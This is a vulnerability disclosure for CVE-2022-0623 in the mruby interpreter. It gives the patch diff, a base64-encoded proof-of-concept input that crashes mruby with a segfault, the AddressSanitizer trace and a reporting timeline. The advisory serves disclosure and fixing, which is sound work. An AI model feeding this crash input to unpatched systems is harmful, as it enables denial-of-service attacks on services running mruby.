CVE-2022-0623

Description

The mruby is the lightweight implementation of the Ruby language complying to (part of) the ISO standard. Its syntax is Ruby 2.x compatible. In the 4e8ab145da52c3cfb0bd4b823df8041dcc52f454 commit, occur an out of bound vulnerability.

1
2
3
4
5
6
7
8
      int lim = a+b*2+1;

hash = regs[a];
- mrb_assert(mrb_hash_p(hash));
+ mrb_ensure_hash_type(mrb, hash);
for (i=a+1; i<lim; i+=2) {
mrb_hash_set(mrb, hash, regs[i], regs[i+1]);
}

This issue was fixed that change mrb_assert to mrb_ensure_hash_type.


Proof of Concept

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$ echo -ne "e30KWyoqMCxtOjBdBHM9MDYudGl0ZXN7My7+////c3slXSN7W11lYWsKYj17fQpbKiowLG06MF3/
f///jn11EHRpbC1icmWeawpiPXt99FsqKkBidWYwXX9zPTB9XX1hLiF+IBD///wAAPoAoqKion19
AACA/wENXH9dXGM/ICphID0gKCkgYW1iZCVcX0JO//4AACA8ACpbAAB7KQ==" | base64 -d > poc
$ ./bin/mruby ./poc
AddressSanitizer:DEADLYSIGNAL
=================================================================
==1898947==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000011 (pc 0x00000059dca6 bp 0x7ffd8e5ac2b0 sp 0x7ffd8e5ab390 T0)
==1898947==The signal is caused by a READ memory access.
==1898947==Hint: address points to the zero page.
#0 0x59dca6 in mrb_check_frozen /root/fuzz/mruby/include/mruby.h:1418:7
#1 0x59dca6 in hash_modify /root/fuzz/mruby/src/hash.c:1154:3
#2 0x59dca6 in mrb_hash_set /root/fuzz/mruby/src/hash.c:1242:3
#3 0x4e5273 in mrb_vm_exec /root/fuzz/mruby/src/vm.c:2771:9
#4 0x4d77de in mrb_vm_run /root/fuzz/mruby/src/vm.c:1128:12
#5 0x5e83a2 in mrb_load_exec /root/fuzz/mruby/mrbgems/mruby-compiler/core/parse.y:6883:7
#6 0x5e9293 in mrb_load_detect_file_cxt /root/fuzz/mruby/mrbgems/mruby-compiler/core/parse.y:6926:12
#7 0x4cb88b in main /root/fuzz/mruby/mrbgems/mruby-bin-mruby/tools/mruby/mruby.c:357:11
#8 0x7fb293420564 in __libc_start_main csu/../csu/libc-start.c:332:16
#9 0x41d7ad in _start (/root/fuzz/mruby/bin/mruby+0x41d7ad)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /root/fuzz/mruby/include/mruby.h:1418:7 in mrb_check_frozen
==1898947==ABORTING

Reporting Timeline

  • 2022-02-08 21h 44m : Reported this issue via the huntr
  • 2022-02-16 15h 28m : Validated this issue by Matz
  • 2022-02-16 15h 29m : Patched this issue by Matz
  • 2022-02-16 15h 29m : Assigned a CVE-2022-0623

Reference